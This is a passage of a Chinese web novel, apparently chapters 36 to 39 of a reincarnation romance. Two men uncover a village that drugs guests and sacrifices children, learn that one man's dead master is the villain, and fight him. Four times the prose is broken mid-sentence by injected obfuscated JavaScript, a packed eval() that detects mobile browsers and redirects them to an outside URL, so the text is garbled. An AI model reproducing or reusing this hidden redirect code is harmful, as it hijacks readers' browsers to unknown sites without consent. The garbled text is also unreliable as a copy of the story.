四周依然安静得异常,窗外无风无月,更无虫鸣鸟叫,宓安静静枕在景煦手臂上,恍然间想起小时候,他也是这样枕在师父怀里,听师父讲药与毒,讲茶和酒。那个比宓朗回更像他父亲的老人,他竟然已经记不清对方的样貌了。 “阿宓?” 宓安回过神,应了一声,景煦揽着他的腰,轻声问道:“在想什么,怎么不睡?” “想我师父。”宓安叹了口气,“他见多识广,若他活着,这蛊毒他一定有办法。” 景煦收紧手臂,轻轻拍了拍宓安的后背。他儿时也见过宓安的师父,老人博闻强识,似乎世间万物都没有他不了解的,但他常带着宓安出游,很少在京中。没等景煦找到机会请教一二,老人就已经驾鹤西去了。 比起宓朗回,宓安似乎和他师父更亲近一些。 景煦想起小时候那个精致的小娃娃总抱着师父的腿撒娇打滚,不由笑了出来。 “笑什么?” “笑你可爱。”景煦抱紧怀里的人,“阿宓小时候爱撒娇,却从不对宓将军撒娇。” 宓安笑了下,说道:“我爹太凶了,哪敢跟他没大没小。” “回去带我给师父上柱香。”景煦闭着眼睛,语气带着笑,“让他老人家看看英俊潇洒的儿婿。” 宓安掐了他一把,说道:“师父的遗言让我将他的身体烧了,随风而逝,不必立碑,也不必祭拜。” 景煦有些惊讶,良久才道:“倒是他老人家一贯的作风。” 宓安已经困了,窝在景煦怀里口齿模糊道:“若我死了,我也要随风而去……” 景煦目光沉沉,拥紧了宓安。 翌日清晨,宓安是被一阵窸窣声吵醒的,睁眼便看到门外似乎有个黑影,正趴在门上上上下下地乱窜。 宓安皱了皱眉,抬手飞出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14704438|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根银针,针穿透木门直直钉上黑影,传来一声惨叫,紧接着是隆村长沙哑的声音:“达子,这是怎么了?” 景煦打开门,隆村长正扶着一个黝黑的青年,青年捂着肩膀嗷嗷喊疼,听着他喊了好一会儿,宓安才缓缓起身走到了门口,问道:“隆村长,这是在做什么?” 隆村长干枯的手握在达子的手臂上,闻言看向宓安,露出一个僵硬的笑:“我让达子喊贵客用早膳,这孩子心智不全,不小心冲撞了贵客。” 宓安挥了挥手,影五领会意思,上前将银针用内力吸了出来。达子终于不再乱叫,景煦却挑了下眉,问道:“心智不全,是儿时生过病吗?” 隆村长不愿回答,随意点了点头,说道:“二位请随我到前厅用早膳吧。” 宓安悄悄捏了下景煦的手,两人跟着隆村长出了大门。这里和京中府邸布局不同,说是“前厅”,其实就是一个更大的院子,院中摆了十几张桌子,全村的人都在此处一同用膳。 隆村长将二人带到了自己这桌,向已经等候多时的几人介绍道:“这两位是远道而来的贵客,暂时落个脚。” 同桌的人向两人问了好,一位身材矮小的男人却明显面色不善地看了宓安一眼,默不作声地低头吃饭了。 隆村长像没看见似的,笑着招呼道:“都是家常菜色,贵客莫要嫌弃。” 宓安客气道:“怎会,还要多谢村长愿意让我与兄长留宿。” 景煦装模作样地咳了两声,声音虚弱:“是啊。” 那男人又抬眼看向景煦,飞速收回了目光,景煦却不打算装傻,故意问道:“这位公子……咳咳……似乎不太欢迎我们,不如今日我二人就继续赶路吧……咳咳……” 宓安连忙扶住景煦,轻轻拍着他的后背,担忧道:“可是兄长的身子……” “图武!”隆村长呵斥了一声,“怎能对贵客无礼!” 图武眼角动了动,生硬地道歉,景煦摆了摆手,整个人靠在了宓安身上:“咳咳……是我们冒昧来打扰了,隆村长,您别……咳咳……” 宓安死死抓着景煦的胳膊防止自己笑出声,景煦被抓疼了,轻轻握住了宓安的手,后者强忍着笑对隆村长道:“村长,我兄长身体不适,我先扶他回去喝药了。” 隆村长站起身,有些不好意思:“贵客自便,图武就是这个性子,二位别放心上。” 宓安扶着景煦慢悠悠回了客房,关上门才笑了出来,景煦好笑地看着他,一把将人揽进怀里,问道:“阿宓有没有觉得,隆村长今天似乎有些不一样?” 宓安点点头:“比起昨夜,好像更有人味了。” “昨夜我让小五出去看了看,其他暗卫都没跟来。”景煦捏着宓安的手指,“应该是被阵法拦住了。” 宓安叹了口气:“这次回去我教他们。” 景煦一愣,奇怪道:“阿宓懂阵法?怎么没听你提起过?” 宓安也很奇怪:“怎么提?特地跑到你面前说‘景煦我会阵法’吗?听起来脑子不太好。” “阿宓上次才说过除了朝青没有我不知道的事。”景煦开始无理取闹,“怎么又多了一个我不知道的?” 宓安无言片刻,给了他一巴掌:“说正事。” 景煦“哦”了声,继续道:“小五往村口的方向走了一段,周遭景色不见变化,应该也是布了阵法,有人不想让我们离开。” “既然国师说这里没有不合常理的事。”宓安语气轻蔑,“那普通阵法就断然困不住我。” 37. 师父 入夜后,宓安慢悠悠去村口看了一眼,果然只是简单的困阵,阵眼就在路边的石头上。察觉到身后有人,宓安便佯装奇怪,在附近绕了一大圈才回了客房。 “贵客歇下了吗?”门外传来敲门声,一个女声响了起来,“隆村长让我给二位送些吃食。” 宓安开了门,来人是位肤色黝黑的女子,她将手中的食盘递给宓安,解释道:“村长见两位晚膳也没怎么用。就让我送这些过来。村长还说图武那人一向对谁都没有好脸色,请贵客别放心上。” 屋内传来景煦的咳嗽声,宓安道了声“多谢”,连忙把食盘放下去给景煦喂药,女子悄悄瞄了一眼屋内,问道:“贵客身子还没好呀?” 宓安轻轻吹凉一勺药汤,说道:“我兄长这是从小的毛病了。” 女子点了点头,安慰了几句便离开了。 见她走了,景煦接过药碗一饮而尽,意犹未尽地咂了咂嘴:“好喝。” 宓安哭笑不得:“药好喝?” 景煦点点头:“阿宓熬的药好喝,比太医院那些苦得发酸的药汁子好喝多了。” 虽说精通医术,但宓安自己也少不了有头疼脑热的时候,他吃不了一点苦,便将所有的药方都配成了能入口的味道,只是药效难免打些折扣。后来景煦知道了,每次生病都硬要喝他的药,久而久之太医院那些人竟然再也没见过景煦。 宓安将药碗收了,又喂给景煦一粒药丸,见他毫不犹豫张嘴吃了,无奈道:“问都不问,喂你毒药你也吃。” 景煦笑道:“阿宓的毒药也好吃。” 倒不是他哄宓安,前世他病入膏肓时,宓安也试过以毒攻毒的法子,不管是药汤还是药丸,都比其他大夫的药好吃的多。 似乎也想起了从前不太愉快的事,宓安轻飘飘地看了景煦一眼,说道:“见血封喉的毒药更好吃,尝尝?” “阿宓怎么舍得。”景煦抱住宓安的腰,用脸蹭了两下,“最近有没有不舒服?” 宓安推开他:“我好得很,倒是你,我不是暗示过你他们的饭菜有问题?你吃的倒香。” 景煦拉住宓安的手,左右摇了两下,理直气壮道:“反正你能解,阿宓自己不也吃的好好的。” “我从小试药,早就百毒不侵了,你对自己的身子留意些,当心以后下不了床。” 景煦乖乖点了点头,问道:“小时候试药疼不疼?” 宓安摇摇头:“还好,反正我师父都能解。” 景煦皱起眉头:“你还不是跟我一样!” 宓安理亏,生硬地移开话头:“他们的毒只是让人昏睡而已,等夜深你装一下。” 月上中天,二人屋外果然传来了动静,听声音是两个年轻男子,宓安记得他们的声音,用膳时这两个人就坐在他们旁边的桌上,当时看神色并无异常,竟然是专门负责动手的。 景煦将宓安搂在怀里,侧身对着他装睡,那两人有些奇怪,也只是看了一眼,轻手轻脚地打开了宓安的包袱。 其中一人声音不大不小:“这么小心干什么?吃了这药醒不过来的。” 另一个人压低了声音:“长老说了,这两个不是普通人,小心为上。” 那人不屑地嗤笑一声,不再说话。两人翻了半天包袱,只看到几件衣裳,一人奇怪道:“什么都没有啊?你说这两个人,出门只带衣裳,银票都不带?” “银票说不定让那下人带着呢,咱们要找的东西会不会也在那?” “这么重要的东西……”男人看向床上“熟睡”的宓安,“会不会在他身上揣着呢?” 他说着,就要往宓安身上伸手,另一个人赶紧拦住他,提醒道:“别忘了大师说的,把人碰醒了就不好了。” “怕什么?咱们村里这么多人还怕他们三个人不成?” “长老……” 男人不耐烦地打断道:“长老长老,那长老平时从不露面,随便两句话就把你们忽悠的团团转,我从没见过吃了这药还能被吵醒的,这一个病秧子一个小身板能有什么不一样?” “病秧子”景煦咳了一声,吓了两人一跳,齐齐看向了床上,半晌,见景煦没有动静,两人才松了一口气,刚才那人得意道:“你看,醒不了的。” 另一人犹豫道:“那你小心点,动作快。” 眼见男人就要扒宓安的衣裳,景煦突然手臂用力揽紧了宓安,宓安像没看到那两人似的,装作刚醒,口齿模糊地问道:“怎么了?身子不舒服?” 景煦克制住笑意,摇了摇头,将脸埋在宓安怀里,继续装睡了。 那两人被吓得一动不敢动,见床上的人又睡了过去,才轻手轻脚地离开了卧房,还小心翼翼地关好了门。 听着脚步声远去,景煦睁开眼,笑道:“找玉佩?” 宓安的手摸进景煦怀里,轻轻拍了拍:“我放在这里了。” 景煦按住他的手,理直气壮地占起了便宜,语气却正经:“南兴楼遇到的那个老骗子,真是为了珠子去的。” “他以为宫辽会将珠子带在身上,谁知道宫辽根本不识货,随手扔在库房了。”宓安想抽回手,却被景煦紧紧握住,于是好笑地捏了捏他的胸口,“没想到被你捡了漏。” “这就是枨衔水说的‘机缘’。”景煦是真的有些困了,窝在宓安怀里,语气慵懒,“我猜最后一块玉佩就在这村子里。” “那明早去祠堂转转。” “我与阿宓真是心有灵犀。” 见景煦闭着眼睛同他说话,宓安笑了出来:“快睡吧,不必每句话都回应我。” 景煦呢喃道:“那怎么行……” 翌日一早,两人照常去了前厅用早膳,景煦咳来咳去装病装的不亦乐乎,村里其他人的脸色都有些怪,宓安装作无事发生,主动问道:“隆村长,可是发生了什么事?今日大家似乎有些奇怪。” 隆村长笑道:“无事,只是祀神日要到了,今年还没找到祭品,大家担心惹天神不快。” “祀神?”宓安问道,“是什么神?需要什么祭品?” 隆村长拿出一份祀神书,苦恼道:“正是护佑笼岱村的天神,每年祀神日都要两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717959|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名童子祭祀,这两年笼岱村再无婴孩出生,村中男子也都已经成了亲。唉……” 景煦看了眼卷轴上的“祀神”二字,心道应该是“饲神”才对,难怪村中再无新生婴孩,谁愿意自己的孩子生下来就被当做祭品。 宓安“啊”了一声,语气遗憾道:“那真是不巧,我与兄长虽未成亲,却也不是童子身了。” 隆村长一愣,连忙摆手:“贵客说笑了,老朽没有伤害二位的意思,否则也不会明说此事了。” 宓安笑道:“自然是说笑。不知我与兄长能否祭拜一下天神?我兄长身子不好,这么多年求医问药也不见起色,若天神开恩能治好兄长,回去后我定年年让人送祭品过来。” 他语气诚恳,隆村长奇怪地看了他一眼,似乎想不到宓安一副纯良的样子,竟然能说出送祭品这种话,不过眼下祀神日在即,隆村长也顾不得其他,只能应了下来:“拜神自是来者不拒,心诚则灵。神位就供奉在村子正中的祠堂,老朽带贵客过去。” “不劳烦村长了。”宓安扶着景煦站起身,“我们自己过去就好。” “贵客自便,沿着这条小路一直走,不到半柱香就能看到祠堂了。” “多谢。” 景煦装病走得缓慢,宓安跟着他散步似的小步走着,彻底离开了前厅,景煦才看向宓安:“昨夜那两个人提到的大师,和隆村长似乎目的不一。” 宓安点了点头:“大师想要玉佩,村长想要我们的命。” “他好像并不相信我不是童子身。”景煦想起隆村长方才怀疑的眼神,有些忿忿,宓安却幽幽看了他一眼:“可你确实是童子。” 景煦一顿,这辈子这个身体确实没碰过宓安,满眼哀怨地喊道:“阿宓……” 宓安微笑道:“休想。” “我是想问你的蛊毒怎么样了。”景煦更哀怨了,“你当我脑子里都是什么?” 宓安忍无可忍地凶道:“你脑子里都是什么你自己心里清楚。” 景煦笑了起来,拉着宓安的手慢悠悠走到了祠堂门口。 笼岱村的房子都是砖头砌成的,祠堂却用的木头,比村民的住房大上三倍不止,十分气派。祠堂矗立在村子正中,独树一帜,却没有窗户。景煦将宓安拉到自己身后,上前推开了门。 屋内漆黑一片,景煦进去将蜡烛点上,才喊宓安进来:“阿宓,你看。” 宓安顺着他的视线看过去,只见祠堂正中有一个盖着红布的牌位独自立在最前方,后面黑漆漆的牌位由低到高地排列着,从门口看去竟像一片整齐的墓碑。 “这得有几百个吧。”景煦的目光从每个牌位上都停留了一瞬,“外面看不出,这祠堂里竟然这么宽敞。” “隆村长没说这红布不能揭吧?”宓安说着,就要拉下牌位上的红布,却被景煦拉住了手。 宓安看向他,奇怪道:“怎么了?” 那块红布没有盖好,景煦站在侧面,清清楚楚地看见了牌位上的字,他握紧了宓安的手,缓缓转过头,问道:“阿宓,你师父,叫什么名字?” 38. 祝澜 一股凉意爬上宓安的后背,他一瞬间明白了景煦的意思,一把将牌位上的红布拉了下来。 那牌位像一座华丽的墓碑,静静立在宓安眼前,上面寥寥几字几乎灼伤了宓安的眼睛。 “祝澜之神位。”宓安一字一顿喃喃念出,没有前缀,没有敬称,熟悉的名字让宓安有些头晕目眩,所有事仿佛都在这一刻有了解释。 为什么他身上的蛊毒从小种下,为什么北夷人伪造的玉佩没有划痕,为什么前世宓朗回惨死沙场。 宓安记忆里那个已经模糊了样貌的老人,突然更加看不清了。 “阿宓?”景煦扳过宓安的身子,伸手蒙住了他的眼睛,“阿宓,回神。” 宓安眨了眨眼,睫毛轻扫了两下景煦的手心,要笑不笑地扯起嘴角:“景煦,是我害了你。” 景煦“啧”了一声:“不许胡说。” 宓安不知想哭还是想笑,自顾自说道:“我体弱是娘胎里带出来的,五岁那年,是师父远游路过将军府,说与我有缘,医好了我。” “也是师父不眠不休彻底调理好了我的身子。” “那些年是他偷偷带我出府,教我医术,教我毒术,教我武功。” “也是他说,‘昭王殿下是个好孩子,青疏可以同他交个朋友’。” 景煦的手心好像沾上了水渍,他将宓安抱进怀里,一下一下拍着他的背,宓安紧紧抓着景煦的衣裳,几乎喘不上气:“会不会,他的目标从一开始就是你?” “不关你的事。”景煦捧住宓安的脸,强迫他与自己对视,认真道,“别难过,阿宓,我还在这里。” 宓安看向他的眼睛,静默半晌,上前一步亲了他一下。 景煦愣住:“这是做什么……” 宓安垂下眼睛,深深呼出一口气,笑了起来:“你还活着。” 景煦拉起他的手贴在自己心口,让宓安感受这里强劲有力的跳动:“活的好好的。” “好。”宓安点点头,重新打起精神,“不管是不是我师父,先找到他,然后……” 他拿起那个刻着繁琐花纹和他师父名字的墓碑,笑道:“杀了他。” 景煦看着眼下还挂着泪珠,却笑着说出这种话的宓安,不由心头一动,抬手拂去他的眼泪:“坏了,阿宓好看的过头了。” 宓安瞥了他一眼,随手将牌位放了回去,一边打量着这间祠堂,一边缓步走到了放牌位的架子后方。 这里比皇宫里的祠堂还要大上一倍,景煦跟在宓安身后,好奇道:“这村子难道历史格外悠久,有这么多祖先要供奉?” 宓安想说他师父见多识广,从前常同他讲一些鲜为人知的风土人情,他从未听师父提起过这里,但想到那个牌位,说不定祝澜是有意不对他提的。 见宓安情绪又低沉下来,景煦拉住了他的手,轻轻揉捏了两下,哄道:“若是难过,不如打我几下出出气?” 宓安哭笑不得地反握住景煦:“打你做什么?你真是……从来都不会哄人。” 景煦认真道:“会哄你就够了,阿宓想我怎么哄,我现在学。” 宓安懒得和他斗嘴,继续去看那些墓碑,景煦乖乖跟上,安静地盯着他看。 转了许久,宓安抬手飞出一块玉石,将第三排的一块牌位打了下去。 “坎字位。”宓安脸色低沉,“从前我师父布阵总喜欢将阵眼放在这。” 他按下那块牌位下的机关,旁边的墙壁缓缓震动,竟露出了一道暗门。 宓安满心怒气,抬脚就往门里走,被景煦一把揽住腰抱了回来,他皱着眉转头,景煦却凑近亲了他一口:“谁允许你走前面了。” “别闹。”宓安推开他,“你又不懂阵法,乖乖跟着。” 景煦“哦”了一声,扯住了宓安的袖子,宓安看了他一眼,警告道:“若有危险,不许挡在我前面。” “阿宓觉得我会听吗?”景煦笑着推推宓安,“走吧。” 宓安拿他没办法,只好将那只装了银针的镯子又戴在了手上,免得景煦又要胡来。 不得不说宓安实在是太了解景煦了,走进密道不到一丈,狭窄的空间里突然射出几只飞镖,原本亦步亦趋跟在他身后的人用力将他拉到怀里,抱着他转过了身。眼见飞镖就要扎在景煦身上,宓安抬手飞出一把银针,软针顶在飞镖上,弯出一个危险的弧度,刹那间竟以柔克刚,将所有的飞镖都挡了回去。 暗器叮叮当当地落地,宓安面色不善地抬头看向景煦,后者心虚地挪开目光,先他一步开口道:“我回去跟阿宓学暗器。” 其实暗器景煦也使得很熟练,只是没有宓安这么精通罢了,加上方才飞镖距离太近,他身体比脑子更快,本能地先护住了宓安。 “景煦,以身护主是暗卫的本能,你是皇子,不该这样。”重生后宓安几乎没对他生过气,这次却是真的被气的不轻,语气都硬了起来,“况且我并不是不懂武功的书生文人,你不必次次都以自己为代价护着我。” 景煦笑了下,对宓安的话充耳不闻:“阿宓没事就好。” “景长昱!”宓安难得吼他,“你能不能别气我了?” 景煦收了笑:“我做不到。” 漆□□仄的密道里,安静得两人能听到彼此的呼吸声,宓安一直知道,他们即使互通心意,景煦也总会不安,他对景煦心有愧疚,景煦对他又何尝不是。 “景煦。”宓安放缓声音,慢慢道,“你总让我不要对你愧疚,这话怎么不对你自己说?” 景煦摇摇头:“我不是因为愧疚才护着你。” “我知道。”宓安叹了口气,“只是你这样,只会让我更愧疚。” 他抱住景煦的腰,语气像撒娇,又带着温柔的威胁:“这样下去,我也会次次挡在你前面,瞒着你独自去死,到时候你就烧了我,随便找片水撒了……” “阿宓。”景煦揽着宓安腰的手骤然用力,冷声道,“不许胡说。” “我没有胡说。”宓安十分冷静,“前世你瞒着我引蛊,到死我都不知道。景长昱,我好恨你。” 景煦抱紧了他,宓安继续道:“你知道我为什么要引火自戕吗?我想,若是黄泉路上碰了面,让你看看我被烧得面目全非的样子,你一定心疼死了。” “好可惜,你没看到。”宓安抬起头和景煦对视,抬手指着自己的右脸,“这里被火燎得血肉模糊的时候,我还没有断气。” 景煦呼吸渐重,心疼和害怕一左一右拉扯着,扯得他手都在抖,宓安语气无波,问道:“心疼我吗?景煦。” “你说呢。”景煦恶狠狠地堵住宓安不断惹他心疼的嘴,泄愤似的想咬一口,却又担心他疼,只敢重重碾了又碾。宓安在亲吻的间隙中还能抽空再激他几句:“我这么好看的脸,被烧得没有一块好肉,全是因为你自作主张。” 景煦闭了闭眼,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730644|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢想他死后宓安到底在大火中受了多久的罪,现在只能更紧地抱着怀里的人,颤声道:“我知错了。” “那日在占星台,你就说过你知错了。”宓安完全不信他的话,指了指地上的暗器,“这就是你说的知错?” 景煦笑了声:“你知道我的,就算现在答应了,下次我还是会挡在你前面,不过我保证,绝对不会再让自己涉险。” 宓安低下头,“嗯”了一声,拉着他的手继续往密道深处走去。不知走了多久,宓安突然轻声说道:“对不起。” 景煦停下脚步,一把将宓安拉进了怀里,咬牙切齿道:“你今天是铁了心想气死我?” “不是……”宓安方才气上头了,现在冷静下来又觉得自己不该对景煦说这么重的话,“我不是故意气你的,我只是……担心你。” 景煦从来不会觉得宓安有错,他将宓安放在第一位好像已经成了习惯,现下也知道宓安只是不想他受伤,才故意说那些话,好让他明白,他如果出事,宓安会把自己折腾得惨烈百倍。 只是,虽然那些话是宓安故意激他的,但前世宓安生生在大火中死去却不是假的,以至于景煦心生畏惧,不由轻轻抚上宓安的脸,心疼的不知如何是好。 宓安将手覆在景煦手上:“骗你的,烟比火来得快,我不疼的。” 景煦轻声叹了口气,牵着宓安继续向前走去,一步一步稳稳落在该落的地方,宓安奇怪道:“你能看懂这些机关?” 景煦闷头走路:“看不懂,但你从进来开始,每一步落的地方是十七步一个循环,我记住了。” 宓安不禁感叹,不愧是善用剑的人,记性竟然这么好,他自己都记不住位置,每一步都是看着机关阵法现推算的,更别提拐弯处还要按奇偶决定进退,景煦竟然一步不错,带着他走完了这条密道。 密道尽头还是一扇石门,门太厚重,听不到另一边的声音,景煦让宓安站到一边,自己上前摸到了机关,正想按下去,突然想起来方才宓安为什么生气,于是转头解释道:“这个不算。” 宓安已经将腰间的软剑抽了出来,闻言瞥了景煦一眼:“小心些。” 石门缓缓开启,景煦也侧身站到了一旁,两人防备着等了许久,确定无事才探出身子,走了出去。 门那边是一片山清水秀,宓安回头看去,这扇门隐藏在山壁之上,又被茂盛的草木遮住了大半,很不起眼。 “阿宓。”景煦叫了一声,宓安见他已经站到了峭壁上,皱眉道:“上去做什么?” “你上来看。” 宓安将软剑收回,提气借力飞身上去,轻盈落在了景煦身边,景煦指着上头一块晶莹的石头:“我在底下瞧着这里在发光,上来看看。阿宓能不能把它拿下来?” 那块石头突兀地镶嵌在崖壁上,细看十分显眼,山壁实在陡峭,两人落脚的地方离石头还有段距离,景煦轻功比宓安稍逊,又答应了他绝不冒险,于是将人喊了上来。 宓安笑了下,满意地拍了拍景煦的肩:“这样才乖。” 景煦弯着眼睛看他,语气却不像面色这么和煦:“阿宓如果强行用轻功上去的话,我会打你屁股的。” 宓安“哼”了一声,抬手飞出几根银针,直接嵌进了石头里,银针尾端的金线连着他的镯子,宓安扯住金线,将那块石头拉了下来。 景煦伸手接住,奇怪道:“怎么拿下来就变成普通石头了?” 39. 一战 宓安拿过石头,抬手让它对上太阳,石头再次变得五光十色。 景煦恍然大悟:“阿宓好聪明。” 宓安心情却不大好:“这样的石头,我也有一块。” “小时候师父送我的。”宓安掂了掂手里的石头,“我的那块被你弄丢了。” “嗯?什么时候?”景煦向来记性好,还是头一回对宓安说的事毫无印象。 “刚认识的时候。”宓安将石头揣进怀里,“那时候师父说你是个好孩子,可以和你交朋友,我把那块石头送给你了。” “你说,我的石头呢?”宓安两只手捏住景煦的两颊,“第二天你就扔了!” 景煦这才想起来是什么时候的事,笑着拉下宓安的手:“我们竟然……已经认识将近三十年了?” 宓安叉起腰,整个人靠在山壁上:“你不要顾左右而言他。” 景煦笑了起来:“我想起来了,我没扔,那时候我以为你接近我别有用心,所以故意疏远你,才谎称扔了。而且阿宓当日给我的也不是石头,是……” 说到这里,景煦突然回忆起那块他前世日日摆在案前的玉佩,抬手在空中描了一下它的形状:“阿宓,你给我的那块玉佩,好像也有一个小缺口。” 宓安奇怪道:“我给过你玉佩?” “就是你说的石头。”景煦皱着眉,从怀里拿出了路上得到的玉佩和珠子,“我不小心将它摔了,石头外壳里是一块玉佩。阿宓,你看,我起初也以为再有一块玉佩将珠子夹在中间就是它完整的样子,但小时候你送我的那块,它的缺口也能契合这颗珠子。” 他比划了一下,宓安送他的玉佩比这一块小一半,只能契合半颗珠子,这么看来,这东西若是要拼凑完整,除了景煦手里那块玉佩,还缺一块。 宓安跳下崖壁,拿出怀里的石头,稍微用力摔到了地上。 深灰色的外壳轻而易举出现了裂纹,直接碎成几瓣,露出了里面晶莹的玉石。 宓安将它合在珠子上,景煦道:“果然,缺失的形状就是我那块玉佩。” “我竟然不知道,它是一块玉。”宓安道,“这么奇怪的形状,你怎么记得这么清楚?” 景煦笑了下:“日日拿着睹物思人,当然清楚。” “思谁?” 景煦叹了口气:“那时候你不给我好脸色,我思一下小时候可爱的阿宓。” “说起这个,刚重生的时候你是不是也在思念前世的宓安?”宓安看向他,笑得有些危险,“毕竟这个年纪的‘宓安’,少了很多与你一起惊心动魄的经历。” “我可没有。”景煦把玉佩珠子收好,“我对阿宓一心一意。” “对哪个一心一意?” 景煦哭笑不得地看着他:“认识了两辈子,前前后后三十几年,我还是第一次见阿宓这样无理取闹的样子。” 宓安笑了出来:“你滚。虽然不知道这东西有什么用,但拿到了就是机缘,看来要等回京才知道它有什么用了。” “你们回不去了。” 远处传来一个阴恻恻的声音,景煦上前一步挡在宓安身前,看向来人。 景煦挑了挑眉:“赫连修齐。” 宓安站在景煦身后悄悄掐了他一把,小声警告他:“你又挡我前面。” 赫连修齐显然不想看他们打情骂俏,目光幽深地看向宓安,嘴角僵硬地笑道:“青疏,好久不见。” 上次北夷相见,赫连修齐也对宓安说好久不见,没等宓安疑惑,景煦也重复了一次那日的话:“青疏也是你叫的?” “我说过了,我认识青疏时,你还在娘胎里。”赫连修齐缓缓走近,景煦眯起眼睛,正要动手,却感觉到身后的人紧紧抓住了他的手。 宓安死死盯着赫连修齐腰间的配饰,那是一块红玛瑙雕成的荷花,线条粗糙生硬,可以看出雕刻者技艺生疏,落刀不稳。 那是他初学雕刻时雕成的第一个物件,是他送给祝澜的拜师礼。 “青疏,不认识我了吗?” 血红的玛瑙落在墨绿的衣袍上,十分俗气,扎得景煦眼睛生疼:“好丑。” 赫连修齐听了,意味不明地笑了一下,托起了那个挂饰:“昭王殿下,这可是青疏亲手雕的。” 景煦嗤笑一声,显然不信:“阿宓闭着眼都比这雕得好。” 宓安垂下眼睛,轻声道:“是我初学时雕成的第一个,送给我师父了。” 景煦盯住了赫连修齐手里的莲花,来不及对眼前人就是宓安的师父这件事作出反应,先飞身冲挂饰攻了过去:“我的了。” 赫连修齐侧身避开,提剑迎了上去。景煦没带武器,宓安抽出腰间的软剑扔向他,抬手的同时数十根银针一起飞出,直直射向赫连修齐。 剑花抖出幻影,赫连修齐笑了声,语带嘲讽:“青疏,你的武功和暗器都是为师教的,这点功力可伤不了我。” 比之北夷战场那日,赫连修齐的功力竟是精进了十倍不止,宓安不语,和景煦一前一后攻向赫连修齐,软剑不似寻常长剑,景煦惯用的剑招与软剑不相适,用起来有些吃力,况且顾及到若赫连修齐身死,宓安体内的蛊虫会立刻消融让蛊毒蔓延,二人不得不收了几分力,是以赫连修齐以一敌二游刃有余,一剑挡开所有暗器,另一只手徒手接住了景煦的剑。 两人对视一眼,默契地拉开了距离,宓安的银针像落花一般越发密不透风,赫连修齐惊讶下还有些欣慰:“青疏真的青出于蓝。” “收起你这恶心的语气。”宓安抬手放出更多暗器,与景煦前后夹击,其中一根针擦过赫连修齐的脸颊,带出一串血珠。 宓安突然道:“赫连修齐,你是姑师人吧?” 本不擅长的软剑现在在景煦手里也逐渐顺手起来,赫连修齐专心应对景煦毫无间隙的剑招,无心应答,宓安继续道:“费尽心思想利用我害死景煦,没想到瞻前不顾后,直接被昭王殿下灭了国,真是可悲。” 赫连修齐冷冷扫了两人一眼,长剑一横挡开景煦,肩膀却被飞镖划开一道深可见骨的口子,他看向宓安,后者两指夹着飞镖歪了歪头,笑道:“确实比银针好用呢。” 原来方才宓安接近他的时候,顺手从他腰上摸了两枚飞镖,赫连修齐冷笑道:“我可没教过你偷鸡摸狗的功夫。” 景煦嗤笑一声:“我教的。” 两人一齐攻向赫连修齐的面门,逼得他连连后退,本来处于下风的赫连修齐看出两人的不敢杀他,反手一掌拍开景煦,长剑向着宓安刺去。 剑已经到了眼前,宓安却突然心口一痛,身形停滞,刹那间,景煦拉过宓安的胳膊将他甩了就去,下一刻,漆黑的长剑穿胸而过。 宓安被景煦甩出很远,尘土飞扬,一瞬间满目只剩血色,他睁大眼睛看着踉跄的人,想喊一声景煦,张了张嘴却没发出任何声音。 景煦的身子只是摇晃了一下,抬手将剑拔了出来,缓缓勾起一抹不屑的笑:“就这点本事?” 宓安听到他的声音,稍稍放下心来,见景煦提剑继续向赫连修齐攻去,宓安也将飞镖射了出去,赫连修齐不屑道:“不自量力。” 他与景煦拉开距离,抬手挡住宓安的暗器,飞镖突然泄力,直直掉到了地上。赫连修齐高兴起来:“蛊虫起作用了。” 景煦心头一紧,看向宓安,宓安冲他摇头,示意自己没事。 赫连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745904|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修齐见宓安终于扛不住他催动的蛊虫,便专心与景煦打斗,一招一式都带着必取他性命的杀意。景煦却不敢用全力,万一赫连修齐身死,宓安的蛊毒会更加麻烦。景煦束手束脚,逐渐吃力,咬牙强撑着。 姗姗来迟的暗卫终于摸到了暗门,见景煦胸口淌着血,就要上去帮忙,却被宓安拦了下来。 